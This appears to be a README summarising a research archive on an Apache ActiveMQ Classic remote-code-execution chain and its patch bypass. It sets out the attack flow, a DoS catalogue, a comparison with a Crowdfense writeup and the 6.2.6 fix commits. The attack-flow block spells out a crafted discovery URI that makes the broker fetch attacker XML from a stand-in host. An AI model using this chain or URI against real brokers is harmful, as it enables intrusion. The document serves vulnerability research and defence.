Apache ActiveMQ Classic — RCE Research

Private research archive for the Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML remote-code-execution chain (CVE-2026-34197 and its patch-bypass CVE-2026-42588), plus a full auto-research audit of the fixed 6.2.6 release and a side-by-side comparison with Crowdfense's public bypass writeup.

All exploitation was performed against local lab brokers (Docker / self-hosted). Payloads use placeholder attacker hosts.

Contents

Vendor source trees and binary distributions used during the labs are intentionally excluded (they're upstream, not ours).

The vulnerability in one line

An authenticated (unauthenticated on 6.0.0–6.1.1 via CVE-2024-32114) Jolokia caller invokes BrokerView.addNetworkConnector(uri) with a crafted discovery URI whose inner vm://…?brokerConfig=xbean:<url> forces the broker to load an attacker-controlled Spring XML, which eagerly instantiates a ProcessBuilder bean before broker validation → OS command execution.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

Findings

Headline: three findings are live-proven to root/XSS; the 6.2.6 audit adds a broader set that is source-verified and adversarially judged, but not yet live-detonated. None of the 6.2.6 extras is a new unauthenticated RCE — the vendor closed those doors; the residual risk shifted to authorization and output-encoding.

Proven exploitation chain

Net-new from the 6.2.6 audit (source-verified)

Out of scope — DoS (cataloged, not headline)

MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], cross-protocol, no config) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · signed-short NegativeArraySizeException in OpenWire unmarshal · negative AMQ_SCHEDULED_REPEAT immortal job.

Comparison with the Crowdfense writeup

Crowdfense's Apache ActiveMQ RCE Bypass covers the same chain (they file it under CVE-2026-34197; we track the bypass as its own CVE-2026-42588). Both accounts converge on a three-layer defense; the only divergence is Layer 2.

The one gap: their Layer-2 percent-encoding + UNC/WebDAV trick achieves fully-remote delivery with no local-write primitive. The classifier flaw it abuses (activemq-spring/Utils.java:123-129, a raw startsWith("file://") on the undecoded string) is present in our exact source — but the remote half is Windows-only (Linux treats //host/share as a local path), and our lab was Linux, so it wasn't exercisable there. It is dead on 6.2.6 anyway (the VMTransportFactory scheme gate rejects xbean before Utils runs).

Follow-up: a Windows-hosted 5.19.6 (or any pre-5.19.7/6.2.6 build) + SMB/WebDAV listener would let us demonstrate the fully-remote allow-list bypass — the single capability the article has that our engagement hasn't shown.

Fix (ActiveMQ 6.2.6)

Three commits close the chain: c1b44af11 (validate composite URIs without parens — parseComposite unconditionally + recurse), c2fc7a1d6 (block XBeanBrokerFactory by default via the VMTransportFactory scheme allow-list), and be8415f24 (sample-config hardening: Jolokia to loopback, operation deny-list with addNetworkConnector).